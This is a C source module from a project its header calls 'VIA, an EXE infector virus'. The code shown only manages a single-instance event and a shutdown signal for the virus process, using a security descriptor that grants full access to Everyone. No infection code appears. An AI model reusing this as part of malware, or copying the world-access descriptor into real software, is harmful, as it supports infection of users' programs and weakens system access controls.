/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#include "via.h"
#include <Sddl.h>

#define RUN_MUTEX_NAME L"Global\\ViaRunMutex"

// Global (module wide) variable: manipulated by OpenMutualRunningEvent, CloseMutualRunningEvent, IsShutdownEventSignaled
HANDLE hShutdownEvent = NULL;


// documented in header file (via.h)
void CloseMutualRunningEvent()
{
	// check if the event is not uninitialized or already closed
	if( NULL != hShutdownEvent )
	{
		CloseHandle(hShutdownEvent);
		// NULL handle indicates a closed handle
		hShutdownEvent = NULL;
	}
}

/**
 * @brief	create a security descriptor for everyone access
 * @param	pDesc - output parameter - address of pointer to struct
 *			the struct will be allocated by the system
 */
void CreateFreeSecurityDescriptor(OUT PSECURITY_DESCRIPTOR* pDesc)
{
	// D  - DACL
	// A  - Allow
	// GA - GENERIC_ALL
	// WD - Everyone (world)
	// SY - SYSTEM
	ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;;GA;;;WD)(A;;GA;;;SY)",SDDL_REVISION_1, pDesc, NULL);
}

/**
 * @brief	create a security attributes struct for everyone access
 * @param	pAtt - output parameter - pointer to an allocated struct.
 *			the struct will be filled by this function.
 */
void CreateFreeSecurityAttributes(LPSECURITY_ATTRIBUTES pAtt)
{
	CreateFreeSecurityDescriptor((PSECURITY_DESCRIPTOR*)(&pAtt->lpSecurityDescriptor));
	pAtt->nLength = sizeof(SECURITY_ATTRIBUTES);
	pAtt->bInheritHandle = FALSE;
}

// documented in header file (via.h)
bool OpenMutualRunningEvent()
{
	// validate that no handle is opened.
	CloseMutualRunningEvent();

	// create security attributes, that let anyone open the event.
	// it's important when VIA starts as SYSTEM (from a service),
	// and the user wants to stop it.
	SECURITY_ATTRIBUTES sa = {0};
	CreateFreeSecurityAttributes(&sa);

	// create the named event (not signaled, manual reset)
	hShutdownEvent = CreateEvent(&sa, TRUE, FALSE, RUN_MUTEX_NAME);
	if( ERROR_ALREADY_EXISTS == GetLastError() )
	{
		// stay with the handle. don't close it. there is another instance running...
		traceDbg(L"ViaLib: OpenMutualRunningEvent: already opened. another instance is running.");
		return false;
	}

	// successfully caught the mutual running event.
	return true;
}


// documented in header file (via.h)
bool IsShutdownEventSignaled(unsigned long waitMs)
{
	// wait on the shutdown event
	DWORD dwWaitRet = WaitForSingleObject(hShutdownEvent, waitMs);
	if( WAIT_OBJECT_0 == dwWaitRet )
	{
		// wait returned because the event is set
		traceDbg(L"ViaLib: IsShutdownEventSignaled: Signaled!");
		return true;
	}

	if(WAIT_TIMEOUT != dwWaitRet)
	{
		// wait returned because of unknown reason
		traceDbg(L"ViaLib: IsShutdownEventSignaled: wait failed.");
	}
	// else: waitMs passed, and nothing changed. event was not set.

	return false;
}

// documented in header file (via.h)
void SignalShutdownEvent()
{
	// open the event
	HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, RUN_MUTEX_NAME);
	
	if( NULL == hEvent )
	{
		traceDbg(L"ViaLib: SignalShutdownEvent: failed opening event. Last err: 0x%x", GetLastError());
		return;
	}

	// Signal the shutdown event
	SetEvent(hEvent);

	// release it
	CloseHandle(hEvent);
}